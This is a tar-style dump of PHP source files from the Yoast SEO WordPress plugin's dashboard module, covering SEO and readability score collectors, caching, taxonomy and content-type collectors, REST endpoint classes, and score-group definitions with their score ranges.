use Yoast\WP\SEO\Dashboard\Domain\Score_Results\Score_Results_Not_Found_Exception;
use Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Score_Results_Collector_Interface;

/**
 * Getting SEO score results from the indexable database table.
 */
class SEO_Score_Results_Collector implements Score_Results_Collector_Interface {

	/**
	 * Retrieves the SEO score results for a content type.
	 *
	 * @param SEO_Score_Groups_Interface[] $seo_score_groups   All SEO score groups.
	 * @param Content_Type                 $content_type       The content type.
	 * @param int|null                     $term_id            The ID of the term we're filtering for.
	 * @param bool|null                    $is_troubleshooting Whether we're in troubleshooting mode.
	 *
	 * @return array<string, object|bool|float> The SEO score results for a content type.
	 *
	 * @throws Score_Results_Not_Found_Exception When the query of getting score results fails.
	 */
	public function get_score_results( array $seo_score_groups, Content_Type $content_type, ?int $term_id, ?bool $is_troubleshooting ): array {
		global $wpdb;
		$results = [];

		$content_type_name = $content_type->get_name();
		$select            = $this->build_select( $seo_score_groups, $is_troubleshooting );

		$replacements = \array_merge(
			\array_values( $select['replacements'] ),
			[
				Model::get_table_name( 'Indexable' ),
				$content_type_name,
			]
		);

		if ( $term_id === null ) {
			//phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements.
			//phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders.
			$query = $wpdb->prepare(
				"
				SELECT {$select['fields']}
				FROM %i AS I
				WHERE ( I.post_status = 'publish' OR I.post_status IS NULL )
					AND I.object_type = 'post'
					AND I.object_sub_type = %s
					AND ( I.is_robots_noindex IS NULL OR I.is_robots_noindex <> 1 )",
				$replacements
			);
			//phpcs:enable
		}
		else {
			$replacements[] = $wpdb->term_relationships;
			$replacements[] = $term_id;

			//phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements.
			//phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders.
			$query = $wpdb->prepare(
				"
				SELECT {$select['fields']}
				FROM %i AS I
				WHERE ( I.post_status = 'publish' OR I.post_status IS NULL )
					AND I.object_type IN ('post')
					AND I.object_sub_type = %s
					AND ( I.is_robots_noindex IS NULL OR I.is_robots_noindex <> 1 )
					AND I.object_id IN (
						SELECT object_id
						FROM %i
						WHERE term_taxonomy_id = %d
				)",
				$replacements
			);
			//phpcs:enable
		}

		$start_time = \microtime( true );

		//phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- $query is prepared above.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		$current_scores = $wpdb->get_row( $query );
		//phpcs:enable

		if ( $current_scores === null ) {
			throw new Score_Results_Not_Found_Exception();
		}

		$end_time = \microtime( true );

		$results['scores']     = $current_scores;
		$results['query_time'] = ( $end_time - $start_time );
		return $results;
	}

	/**
	 * Builds the select statement for the SEO scores query.
	 *
	 * @param SEO_Score_Groups_Interface[] $seo_score_groups   All SEO score groups.
	 * @param bool|null                    $is_troubleshooting Whether we're in troubleshooting mode.
	 *
	 * @return array<string, string> The select statement for the SEO scores query.
	 */
	private function build_select( array $seo_score_groups, ?bool $is_troubleshooting ): array {
		$select_fields       = [];
		$select_replacements = [];

		// When we don't troubleshoot, we're interested in the amount of posts in a group, when we troubleshoot we want to gather the actual IDs.
		$select_operation = ( $is_troubleshooting === true ) ? 'GROUP_CONCAT' : 'COUNT';
		$selected_info    = ( $is_troubleshooting === true ) ? 'I.object_id' : '1';

		foreach ( $seo_score_groups as $seo_score_group ) {
			$min  = $seo_score_group->get_min_score();
			$max  = $seo_score_group->get_max_score();
			$name = $seo_score_group->get_name();

			if ( $min === null || $max === null ) {
				$select_fields[]       = "{$select_operation}(CASE WHEN I.primary_focus_keyword_score = 0 OR I.primary_focus_keyword_score IS NULL THEN {$selected_info} END) AS %i";
				$select_replacements[] = $name;
			}
			else {
				$select_fields[]       = "{$select_operation}(CASE WHEN I.primary_focus_keyword_score >= %d AND I.primary_focus_keyword_score <= %d THEN {$selected_info} END) AS %i";
				$select_replacements[] = $min;
				$select_replacements[] = $max;
				$select_replacements[] = $name;
			}
		}

		$select_fields = \implode( ', ', $select_fields );

		return [
			'fields'       => $select_fields,
			'replacements' => $select_replacements,
		];
	}
}
src/dashboard/infrastructure/score-results/seo-score-results/cached-seo-score-results-collector.php000064400000005542147510273100032615 0ustar00wordpress-seo<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\SEO_Score_Results;

use WPSEO_Utils;
use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Type;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\SEO_Score_Groups_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Score_Results\Score_Results_Not_Found_Exception;
use Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Score_Results_Collector_Interface;

/**
 * The caching decorator to get readability score results.
 */
class Cached_SEO_Score_Results_Collector implements Score_Results_Collector_Interface {

	public const SEO_SCORES_TRANSIENT = 'wpseo_seo_scores';

	/**
	 * The actual collector implementation.
	 *
	 * @var SEO_Score_Results_Collector $seo_score_results_collector
	 */
	private $seo_score_results_collector;

	/**
	 * The constructor.
	 *
	 * @param SEO_Score_Results_Collector $seo_score_results_collector The collector implementation to use.
	 */
	public function __construct( SEO_Score_Results_Collector $seo_score_results_collector ) {
		$this->seo_score_results_collector = $seo_score_results_collector;
	}

	/**
	 * Retrieves the SEO score results for a content type.
	 * Based on caching returns either the result or gets it from the collector.
	 *
	 * @param SEO_Score_Groups_Interface[] $score_groups       All SEO score groups.
	 * @param Content_Type                 $content_type       The content type.
	 * @param int|null                     $term_id            The ID of the term we're filtering for.
	 * @param bool|null                    $is_troubleshooting Whether we're in troubleshooting mode.
	 *
	 * @throws Score_Results_Not_Found_Exception When the query of getting score results fails.
	 * @return array<string, object|bool|float> The SEO score results for a content type.
	 */
	public function get_score_results(
		array $score_groups,
		Content_Type $content_type,
		?int $term_id,
		?bool $is_troubleshooting
	) {
		$content_type_name = $content_type->get_name();
		$transient_name    = self::SEO_SCORES_TRANSIENT . '_' . $content_type_name . ( ( $term_id === null ) ? '' : '_' . $term_id );
		$results           = [];
		$transient         = \get_transient( $transient_name );
		if ( $is_troubleshooting !== true && $transient !== false ) {
			$results['scores']     = \json_decode( $transient, false );
			$results['cache_used'] = true;
			$results['query_time'] = 0;

			return $results;
		}

		$results               = $this->seo_score_results_collector->get_score_results( $score_groups, $content_type, $term_id, $is_troubleshooting );
		$results['cache_used'] = false;
		if ( $is_troubleshooting !== true ) {
			\set_transient( $transient_name, WPSEO_Utils::format_json_encode( $results['scores'] ), \MINUTE_IN_SECONDS );
		}
		return $results;
	}
}
wordpress-seo/src/dashboard/infrastructure/score-groups/score-group-link-collector.php000064400000003236147510273100025507 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Score_Groups;

use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Type;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Score_Groups_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy;

/**
 * Getting links for score groups.
 */
class Score_Group_Link_Collector {

	/**
	 * Builds the view link of the score group.
	 *
	 * @param Score_Groups_Interface $score_group  The score group.
	 * @param Content_Type           $content_type The content type.
	 * @param Taxonomy|null          $taxonomy     The taxonomy of the term we might be filtering.
	 * @param int|null               $term_id      The ID of the term we might be filtering.
	 *
	 * @return string The view link of the score.
	 */
	public function get_view_link( Score_Groups_Interface $score_group, Content_Type $content_type, ?Taxonomy $taxonomy, ?int $term_id ): ?string {
		$posts_page = \admin_url( 'edit.php' );
		$args       = [
			'post_status'                  => 'publish',
			'post_type'                    => $content_type->get_name(),
			$score_group->get_filter_key() => $score_group->get_filter_value(),
		];

		if ( $taxonomy === null || $term_id === null ) {
			return \add_query_arg( $args, $posts_page );
		}

		$taxonomy_object = \get_taxonomy( $taxonomy->get_name() );
		$query_var       = $taxonomy_object->query_var;

		if ( $query_var === false ) {
			return null;
		}

		$term               = \get_term( $term_id );
		$args[ $query_var ] = $term->slug;

		return \add_query_arg( $args, $posts_page );
	}
}
wordpress-seo/src/dashboard/infrastructure/taxonomies/taxonomies-collector.php000064400000006343147510273100024235 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies;

use WP_Taxonomy;
use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy;
/**
 * Class that collects taxonomies and relevant information.
 */
class Taxonomies_Collector {

	/**
	 * The taxonomy validator.
	 *
	 * @var Taxonomy_Validator
	 */
	private $taxonomy_validator;

	/**
	 * The constructor.
	 *
	 * @param Taxonomy_Validator $taxonomy_validator The taxonomy validator.
	 */
	public function __construct(
		Taxonomy_Validator $taxonomy_validator
	) {
		$this->taxonomy_validator = $taxonomy_validator;
	}

	/**
	 * Returns a custom pair of taxonomy/content type, that's been given by users via hooks.
	 *
	 * @param string $content_type The content type we're hooking for.
	 *
	 * @return Taxonomy|null The hooked filtering taxonomy.
	 */
	public function get_custom_filtering_taxonomy( string $content_type ) {
		/**
		 * Filter: 'wpseo_{$content_type}_filtering_taxonomy' - Allows overriding which taxonomy filters the content type.
		 *
		 * @internal
		 *
		 * @param string $filtering_taxonomy The taxonomy that filters the content type.
		 */
		$filtering_taxonomy = \apply_filters( "wpseo_{$content_type}_filtering_taxonomy", '' );
		if ( $filtering_taxonomy !== '' ) {
			$taxonomy = $this->get_taxonomy( $filtering_taxonomy, $content_type );

			if ( $taxonomy ) {
				return $taxonomy;
			}

			\_doing_it_wrong(
				'Filter: \'wpseo_{$content_type}_filtering_taxonomy\'',
				'The `wpseo_{$content_type}_filtering_taxonomy` filter should return a public taxonomy, available in REST API, that is associated with that content type.',
				'YoastSEO v24.1'
			);
		}

		return null;
	}

	/**
	 * Returns the fallback, WP-native category taxonomy, if it's associated with the specific content type.
	 *
	 * @param string $content_type The content type.
	 *
	 * @return Taxonomy|null The taxonomy object for the category taxonomy.
	 */
	public function get_fallback_taxonomy( string $content_type ): ?Taxonomy {
		return $this->get_taxonomy( 'category', $content_type );
	}

	/**
	 * Returns the taxonomy object that filters a specific content type.
	 *
	 * @param string $taxonomy_name The name of the taxonomy we're going to build the object for.
	 * @param string $content_type  The content type that the taxonomy object is filtering.
	 *
	 * @return Taxonomy|null The taxonomy object.
	 */
	public function get_taxonomy( string $taxonomy_name, string $content_type ): ?Taxonomy {
		$taxonomy = \get_taxonomy( $taxonomy_name );

		if ( $this->taxonomy_validator->is_valid_taxonomy( $taxonomy, $content_type ) ) {
			return new Taxonomy( $taxonomy->name, $taxonomy->label, $this->get_taxonomy_rest_url( $taxonomy ) );
		}

		return null;
	}

	/**
	 * Builds the REST API URL for the taxonomy.
	 *
	 * @param WP_Taxonomy $taxonomy The taxonomy we want to build the REST API URL for.
	 *
	 * @return string The REST API URL for the taxonomy.
	 */
	protected function get_taxonomy_rest_url( WP_Taxonomy $taxonomy ): string {
		$rest_base = ( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

		$rest_namespace = ( $taxonomy->rest_namespace ) ? $taxonomy->rest_namespace : 'wp/v2';

		return \rest_url( "{$rest_namespace}/{$rest_base}" );
	}
}
wordpress-seo/src/dashboard/infrastructure/taxonomies/taxonomy-validator.php000064400000001547147510273100023725 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies;

use WP_Taxonomy;
use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy;

/**
 * Class that validates taxonomies.
 */
class Taxonomy_Validator {

	/**
	 * Returns whether the taxonomy in question is valid and associated with a given content type.
	 *
	 * @param WP_Taxonomy|false|null $taxonomy     The taxonomy to check.
	 * @param string                 $content_type The name of the content type to check.
	 *
	 * @return bool Whether the taxonomy in question is valid.
	 */
	public function is_valid_taxonomy( $taxonomy, string $content_type ): bool {
		return \is_a( $taxonomy, 'WP_Taxonomy' )
			&& $taxonomy->public
			&& $taxonomy->show_in_rest
			&& \in_array( $taxonomy->name, \get_object_taxonomies( $content_type ), true );
	}
}
wordpress-seo/src/dashboard/infrastructure/nonces/nonce-repository.php000064400000000607147510273100022476 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Nonces;

/**
 * Repository for WP nonces.
 */
class Nonce_Repository {

	/**
	 * Creates the nonce for a WP REST request.
	 *
	 * @return string
	 */
	public function get_rest_nonce(): string {
		return \wp_create_nonce( 'wp_rest' );
	}
}
wordpress-seo/src/dashboard/infrastructure/content-types/content-types-collector.php000064400000002465147510273100025312 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Content_Types;

use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Type;
use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Types_List;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;

/**
 * Class that collects post types and relevant information.
 */
class Content_Types_Collector {

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type_helper;

	/**
	 * The constructor.
	 *
	 * @param Post_Type_Helper $post_type_helper The post type helper.
	 */
	public function __construct(
		Post_Type_Helper $post_type_helper
	) {
		$this->post_type_helper = $post_type_helper;
	}

	/**
	 * Returns the content types in a list.
	 *
	 * @return Content_Types_List The content types in a list.
	 */
	public function get_content_types(): Content_Types_List {
		$content_types_list = new Content_Types_List();
		$post_types         = $this->post_type_helper->get_indexable_post_type_objects();

		foreach ( $post_types as $post_type_object ) {
			if ( $post_type_object->show_ui === false ) {
				continue;
			}

			$content_type = new Content_Type( $post_type_object->name, $post_type_object->label );
			$content_types_list->add( $content_type );
		}

		return $content_types_list;
	}
}
wordpress-seo/src/dashboard/infrastructure/endpoints/seo-scores-endpoint.php000064400000002156147510273100023576 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints;

use Exception;
use Yoast\WP\SEO\Dashboard\Domain\Endpoint\Endpoint_Interface;
use Yoast\WP\SEO\Dashboard\User_Interface\Scores\Abstract_Scores_Route;
use Yoast\WP\SEO\Dashboard\User_Interface\Scores\SEO_Scores_Route;

/**
 * Represents the SEO scores endpoint.
 */
class SEO_Scores_Endpoint implements Endpoint_Interface {

	/**
	 * Gets the name.
	 *
	 * @return string
	 */
	public function get_name(): string {
		return 'seoScores';
	}

	/**
	 * Gets the namespace.
	 *
	 * @return string
	 */
	public function get_namespace(): string {
		return Abstract_Scores_Route::ROUTE_NAMESPACE;
	}

	/**
	 * Gets the route.
	 *
	 * @throws Exception If the route prefix is not overwritten this throws.
	 * @return string
	 */
	public function get_route(): string {
		return SEO_Scores_Route::get_route_prefix();
	}

	/**
	 * Gets the URL.
	 *
	 * @return string
	 */
	public function get_url(): string {
		return \rest_url( $this->get_namespace() . $this->get_route() );
	}
}
wordpress-seo/src/dashboard/infrastructure/endpoints/readability-scores-endpoint.php000064400000002226147510273100025277 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints;

use Exception;
use Yoast\WP\SEO\Dashboard\Domain\Endpoint\Endpoint_Interface;
use Yoast\WP\SEO\Dashboard\User_Interface\Scores\Abstract_Scores_Route;
use Yoast\WP\SEO\Dashboard\User_Interface\Scores\Readability_Scores_Route;

/**
 * Represents the readability scores endpoint.
 */
class Readability_Scores_Endpoint implements Endpoint_Interface {

	/**
	 * Gets the name.
	 *
	 * @return string
	 */
	public function get_name(): string {
		return 'readabilityScores';
	}

	/**
	 * Gets the namespace.
	 *
	 * @return string
	 */
	public function get_namespace(): string {
		return Abstract_Scores_Route::ROUTE_NAMESPACE;
	}

	/**
	 * Gets the route.
	 *
	 * @throws Exception If the route prefix is not overwritten this throws.
	 * @return string
	 */
	public function get_route(): string {
		return Readability_Scores_Route::get_route_prefix();
	}

	/**
	 * Gets the URL.
	 *
	 * @return string
	 */
	public function get_url(): string {
		return \rest_url( $this->get_namespace() . $this->get_route() );
	}
}
wordpress-seo/src/dashboard/domain/score-groups/score-groups-interface.php000064400000002022147510273100023070 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups;

/**
 * This interface describes a score group implementation.
 */
interface Score_Groups_Interface {

	/**
	 * Gets the name of the score group.
	 *
	 * @return string
	 */
	public function get_name(): string;

	/**
	 * Gets the key of the score group that is used when filtering on the posts page.
	 *
	 * @return string
	 */
	public function get_filter_key(): string;

	/**
	 * Gets the value of the score group that is used when filtering on the posts page.
	 *
	 * @return string
	 */
	public function get_filter_value(): string;

	/**
	 * Gets the minimum score of the score group.
	 *
	 * @return int
	 */
	public function get_min_score(): ?int;

	/**
	 * Gets the maximum score of the score group.
	 *
	 * @return int
	 */
	public function get_max_score(): ?int;

	/**
	 * Gets the position of the score group.
	 *
	 * @return int
	 */
	public function get_position(): int;
}
wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/abstract-seo-score-group.php000064400000001350147510273100026553 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Abstract_Score_Group;

/**
 * Abstract class for an SEO score group.
 */
abstract class Abstract_SEO_Score_Group extends Abstract_Score_Group implements SEO_Score_Groups_Interface {

	/**
	 * Gets the key of the SEO score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the SEO score group that is used when filtering on the posts page.
	 */
	public function get_filter_key(): string {
		return 'seo_filter';
	}
}
wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/bad-seo-score-group.php000064400000002453147510273100025503 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

/**
 * This class describes a bad SEO score group.
 */
class Bad_SEO_Score_Group extends Abstract_SEO_Score_Group {

	/**
	 * Gets the name of the SEO score group.
	 *
	 * @return string The name of the SEO score group.
	 */
	public function get_name(): string {
		return 'bad';
	}

	/**
	 * Gets the value of the SEO score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the SEO score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'bad';
	}

	/**
	 * Gets the position of the SEO score group.
	 *
	 * @return int The position of the SEO score group.
	 */
	public function get_position(): int {
		return 2;
	}

	/**
	 * Gets the minimum score of the SEO score group.
	 *
	 * @return int The minimum score of the SEO score group.
	 */
	public function get_min_score(): ?int {
		return 1;
	}

	/**
	 * Gets the maximum score of the SEO score group.
	 *
	 * @return int The maximum score of the SEO score group.
	 */
	public function get_max_score(): ?int {
		return 40;
	}
}
wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/seo-score-groups-interface.php000064400000000533147510273100027075 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Score_Groups_Interface;

/**
 * This interface describes an SEO score group implementation.
 */
interface SEO_Score_Groups_Interface extends Score_Groups_Interface {}
wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/no-seo-score-group.php000064400000002474147510273100025374 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

/**
 * This class describes a missing SEO score group.
 */
class No_SEO_Score_Group extends Abstract_SEO_Score_Group {

	/**
	 * Gets the name of the SEO score group.
	 *
	 * @return string The name of the SEO score group.
	 */
	public function get_name(): string {
		return 'notAnalyzed';
	}

	/**
	 * Gets the value of the SEO score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the SEO score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'na';
	}

	/**
	 * Gets the position of the SEO score group.
	 *
	 * @return int The position of the SEO score group.
	 */
	public function get_position(): int {
		return 3;
	}

	/**
	 * Gets the minimum score of the SEO score group.
	 *
	 * @return null The minimum score of the SEO score group.
	 */
	public function get_min_score(): ?int {
		return null;
	}

	/**
	 * Gets the maximum score of the SEO score group.
	 *
	 * @return null The maximum score of the SEO score group.
	 */
	public function get_max_score(): ?int {
		return null;
	}
}
wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/ok-seo-score-group.php000064400000002455147510273100025370 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

/**
 * This class describes an OK SEO score group.
 */
class Ok_SEO_Score_Group extends Abstract_SEO_Score_Group {

	/**
	 * Gets the name of the SEO score group.
	 *
	 * @return string The the name of the SEO score group.
	 */
	public function get_name(): string {
		return 'ok';
	}

	/**
	 * Gets the value of the SEO score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the SEO score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'ok';
	}

	/**
	 * Gets the position of the SEO score group.
	 *
	 * @return int The position of the SEO score group.
	 */
	public function get_position(): int {
		return 1;
	}

	/**
	 * Gets the minimum score of the SEO score group.
	 *
	 * @return int The minimum score of the SEO score group.
	 */
	public function get_min_score(): ?int {
		return 41;
	}

	/**
	 * Gets the maximum score of the SEO score group.
	 *
	 * @return int The maximum score of the SEO score group.
	 */
	public function get_max_score(): ?int {
		return 70;
	}
}
wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/good-seo-score-group.php000064400000002461147510273100025704 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

/**
 * This class describes a good SEO score group.
 */
class Good_SEO_Score_Group extends Abstract_SEO_Score_Group {

	/**
	 * Gets the name of the SEO score group.
	 *
	 * @return string The name of the SEO score group.
	 */
	public function get_name(): string {
		return 'good';
	}

	/**
	 * Gets the value of the SEO score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the SEO score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'good';
	}

	/**
	 * Gets the position of the SEO score group.
	 *
	 * @return int The position of the SEO score group.
	 */
	public function get_position(): int {
		return 0;
	}

	/**
	 * Gets the minimum score of the SEO score group.
	 *
	 * @return int The minimum score of the SEO score group.
	 */
	public function get_min_score(): ?int {
		return 71;
	}

	/**
	 * Gets the maximum score of the SEO score group.
	 *
	 * @return int The maximum score of the SEO score group.
	 */
	public function get_max_score(): ?int {
		return 100;
	}
}
src/dashboard/domain/score-groups/readability-score-groups/bad-readability-score-group.php000064400000002633147510273100030632 0ustar00wordpress-seo<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

/**
 * This class describes a bad readability score group.
 */
class Bad_Readability_Score_Group extends Abstract_Readability_Score_Group {

	/**
	 * Gets the name of the readability score group.
	 *
	 * @return string The name of the readability score group.
	 */
	public function get_name(): string {
		return 'bad';
	}

	/**
	 * Gets the value of the readability score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the readability score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'bad';
	}

	/**
	 * Gets the position of the readability score group.
	 *
	 * @return int The position of the readability score group.
	 */
	public function get_position(): int {
		return 2;
	}

	/**
	 * Gets the minimum score of the readability score group.
	 *
	 * @return int The minimum score of the readability score group.
	 */
	public function get_min_score(): ?int {
		return 1;
	}

	/**
	 * Gets the maximum score of the readability score group.
	 *
	 * @return int The maximum score of the readability score group.
	 */
	public function get_max_score(): ?int {
		return 40;
	}
}
src/dashboard/domain/score-groups/readability-score-groups/abstract-readability-score-group.php000064400000001437147510273100031710 0ustar00wordpress-seo<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Abstract_Score_Group;

/**
 * Abstract class for a readability score group.
 */
abstract class Abstract_Readability_Score_Group extends Abstract_Score_Group implements Readability_Score_Groups_Interface {

	/**
	 * Gets the key of the readability score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the readability score group that is used when filtering on the posts page.
	 */
	public function get_filter_key(): string {
		return 'readability_filter';
	}
}
src/dashboard/domain/score-groups/readability-score-groups/no-readability-score-group.php000064400000002654147510273100030523 0ustar00wordpress-seo<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

/**
 * This class describes a missing readability score group.
 */
class No_Readability_Score_Group extends Abstract_Readability_Score_Group {

	/**
	 * Gets the name of the readability score group.
	 *
	 * @return string The name of the readability score group.
	 */
	public function get_name(): string {
		return 'notAnalyzed';
	}

	/**
	 * Gets the value of the readability score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the readability score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'na';
	}

	/**
	 * Gets the position of the readability score group.
	 *
	 * @return int The position of the readability score group.
	 */
	public function get_position(): int {
		return 3;
	}

	/**
	 * Gets the minimum score of the readability score group.
	 *
	 * @return null The minimum score of the readability score group.
	 */
	public function get_min_score(): ?int {
		return null;
	}

	/**
	 * Gets the maximum score of the readability score group.
	 *
	 * @return null The maximum score of the readability score group.
	 */
	public function get_max_score(): ?int {
		return null;
	}
}
src/dashboard/domain/score-groups/readability-score-groups/ok-readability-score-group.php000064400000002635147510273100030517 0ustar00wordpress-seo<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

/**
 * This class describes an OK readability score group.
 */
class Ok_Readability_Score_Group extends Abstract_Readability_Score_Group {

	/**
	 * Gets the name of the readability score group.
	 *
	 * @return string The the name of the readability score group.
	 */
	public function get_name(): string {
		return 'ok';
	}

	/**
	 * Gets the value of the readability score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the readability score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'ok';
	}

	/**
	 * Gets the position of the readability score group.
	 *
	 * @return int The position of the readability score group.
	 */
	public function get_position(): int {
		return 1;
	}

	/**
	 * Gets the minimum score of the readability score group.
	 *
	 * @return int The minimum score of the readability score group.
	 */
	public function get_min_score(): ?int {
		return 41;
	}

	/**
	 * Gets the maximum score of the readability score group.
	 *
	 * @return int The maximum score of the readability score group.
	 */
	public function get_max_score(): ?int {
		return 70;
	}
}
src/dashboard/domain/score-groups/readability-score-groups/good-readability-score-group.php000064400000002641147510273100031033 0ustar00wordpress-seo<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

/**
 * This class describes a good readability score group.
 */
class Good_Readability_Score_Group extends Abstract_Readability_Score_Group {

	/**
	 * Gets the name of the readability score group.
	 *
	 * @return string The name of the readability score group.
	 */
	public function get_name(): string {
		return 'good';
	}

	/**
	 * Gets the value of the readability score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the readability score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'good';
	}

	/**
	 * Gets the position of the readability score group.
	 *
	 * @return int The position of the readability score group.
	 */
	public function get_position(): int {
		return 0;
	}

	/**
	 * Gets the minimum score of the readability score group.
	 *
	 * @return int The minimum score of the readability score group.
	 */
	public function get_min_score(): ?int {
		return 71;
	}

	/**
	 * Gets the maximum score of the readability score group.
	 *
	 * @return int The maximum score of the readability score group.
	 */
	public function get_max_score(): ?int {
		return 100;
	}
}
